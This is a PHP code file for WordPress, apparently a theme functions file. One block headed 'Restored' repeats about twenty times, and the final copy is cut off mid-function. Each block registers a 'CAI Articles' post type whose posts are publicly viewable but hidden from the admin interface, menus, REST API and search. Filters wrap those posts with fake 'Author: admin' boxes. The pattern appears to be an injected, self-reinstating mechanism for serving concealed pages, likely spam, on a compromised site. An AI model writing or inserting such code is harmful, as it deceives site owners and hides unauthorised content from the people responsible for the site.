
// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
